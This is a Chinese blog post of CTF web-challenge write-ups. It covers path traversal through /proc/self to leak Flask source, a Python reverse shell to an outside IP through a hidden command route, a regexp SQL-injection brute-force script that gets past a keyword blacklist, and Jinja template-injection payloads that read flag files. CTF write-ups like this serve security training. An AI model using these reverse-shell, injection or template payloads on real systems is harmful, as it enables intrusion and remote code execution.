赞
踩
我们都知道可以通过/proc/$pid/来获取指定进程的信息,例如内存映射、CPU绑定信息等等。如果某个进程想要获取本进程的系统信息,就可以通过进程的pid来访问/proc/$pid/目录。但是这个方法还需要获取进程pid,在fork、daemon等情况下pid还可能发生变化。为了更方便的获取本进程的信息,linux提供了/proc/self/目录,这个目录比较独特,不同的进程访问该目录时获得的信息是不同的,内容等价于/proc/本进程pid/。进程可以通过访问/proc/self/目录来获取自己的系统信息,而不用每次都获取pid。
看url考虑目录穿越,尝试读这些
/proc/self/environ
/proc/self/cmdline
url=…/…/…/proc/self/cmdline可以读取到python2 app.py,再利用/proc/self/cwd/app.py读取到源文件
from flask import Flask, Response from flask import render_template from flask import request import os import urllib app = Flask(__name__) SECRET_FILE = "/tmp/secret.txt" f = open(SECRET_FILE) SECRET_KEY = f.read().strip() os.remove(SECRET_FILE) @app.route('/') def index(): return render_template('search.html') @app.route('/page') def page(): url = request.args.get("url") try: if not url.lower().startswith("file"): res = urllib.urlopen(url) value = res.read() response = Response(value, mimetype='application/octet-stream') response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg' return response else: value = "HACK ERROR!" except: value = "SOMETHING WRONG!" return render_template('search.html', res=value) @app.route('/no_one_know_the_manager') def manager(): key = request.args.get("key") print(SECRET_KEY) if key == SECRET_KEY: shell = request.args.get("shell") os.system(shell) res = "ok" else: res = "Wrong Key!" return res if __name__ == '__main__': app.run(host='0.0.0.0', port=8080)
在no_one_know_the_manager可以进行系统命令执行,尝试python反弹shell
?key=YBb%2FolIX5h4ChHDJYy%2BhypD0MtKjJyIs3fI3Jbma1SY%3D&shell=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("118.***.***.***",39555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
监听端口cat后得到flag。
<?php error_reporting(0); if (isset($_GET['source'])) { show_source(__FILE__); exit(); } function is_valid($str) { $banword = [ // no path traversal '\.\.', // no stream wrapper '(php|file|glob|data|tp|zip|zlib|phar):', // no data exfiltration 'flag' ]; $regexp = '/' . implode('|', $banword) . '/i'; if (preg_match($regexp, $str)) { return false; } return true; } $body = file_get_contents('php://input'); #body获取post数据 $json = json_decode($body, true); #对body变量进行json解码 if (is_valid($body) && isset($json) && isset($json['page'])) {#判断body变量是否有效,json数据要有page $page = $json['page']; $content = file_get_contents($page); #从page中读出文件名,并读取文件 if (!$content || !is_valid($content)) {#检查content是否有效,即不能明文传输flag文件,利用php伪协议绕过 $content = "<p>not found</p>\n"; } } else { $content = '<p>invalid request</p>'; } // no data exfiltration!!! $content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{<censored>}', $content);#如果查到content里有相关的ctf字样,则用censored替代 echo json_encode(['content' => $content]);#最后将json编码后的content输出
使用php伪协议并进行json编码
payload:
发现页面会自动跳转到/die/,尝试抓包,按照提示最终访问到fight.js
发现flag数组被打乱了,重新排序:
from itertools import permutations
flag = ["{hey", "_boy", "aaaa", "s_im", "ck!}", "_baa", "aaaa", "pctf"]
item = permutations(flag)
for i in item:
k = ''.join(list(i))
if k.startswith('pctf{hey_boys') and k[-1] == '}':
print(k)
说明:
itertools.permutations():就是返回可迭代对象的所有数学全排列方式
itertools.permutations()
它以任意迭代作为参数,并始终返回生成元组的迭代器。它没有(也不应该)特殊的字符串。要获得字符串列表,您可以自己加入元组:
list(map("".join, itertools.permutations(‘1234’)))
username=\
passwd=||/**/passwd/**/regexp/**/"^a"
由于末尾的单引号并未闭合,所以要用到%00作为一个截断的作用来代替# 和-- -这类注释符
passwd=||/**/passwd/**/regexp/**/"^a";%00&username=\
%00注释
该符号不是MySQL的注释符,但PHP具有%00截断的漏洞,有些函数会把%00当做结束符,也就起到了注释掉后面代码的作用。 (比如文件上传中的00截断漏洞)
python输入不可见字符
在Python脚本中的使用:Python访问浏览器,会进行一次URL编码, 因此参数中的URL编码在服务端并不会解码,#等可打印字符直接在参数中输入字符即可,但不可打印字符如%00就需要进行格式处理。
可以使用parse.unquote(’%00’),或者chr(0),二者都需要使用.format()进行格式化输出。完整格式.format(parse.unquote(’%00’))或.format(chr(0))。
扫描目录得到提示hint.txt:
$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";
If $_POST['passwd'] === admin's password,
Then you will get the flag;
采用Regexp注入对password进行逐位爆破,
import string import requests from urllib import parse passwd = '' string = string.ascii_lowercase + string.digits + '_' url = 'http://37be292f-206d-4193-acaf-e1b27935892a.node4.buuoj.cn/index.php' for n in range(100): for m in string: data = { "username" : "\\", "passwd" : "||/**/passwd/**/regexp/**/\"^{}\";{}".format((passwd+m),parse.unquote('%00')) } res = requests.post(url,data=data) if 'welcome' in res.text: passwd += m print(m) break if m == '_' and 'welcome' not in res.text: break print(passwd)
获取密码后输入得到flag
发现所给的金额不够得到flag,抓包,修改session处的值使money为500,在右侧session处解码得到flag.
将编码后的值写在左侧session处,send
解码:
猜测是模板注入,利用Arjun工具进行参数爆破
爆出参数是name
直接SSTL 模板注入
?name={{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
?name={{config.__class__.__init__.__globals__['os'].popen('cat flag.txt').read()}}
或者
?name={{lipsum.__globals__.os.popen('cat flag.txt').read()}}
也可以用SSTI工具tplmap进行扫描
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。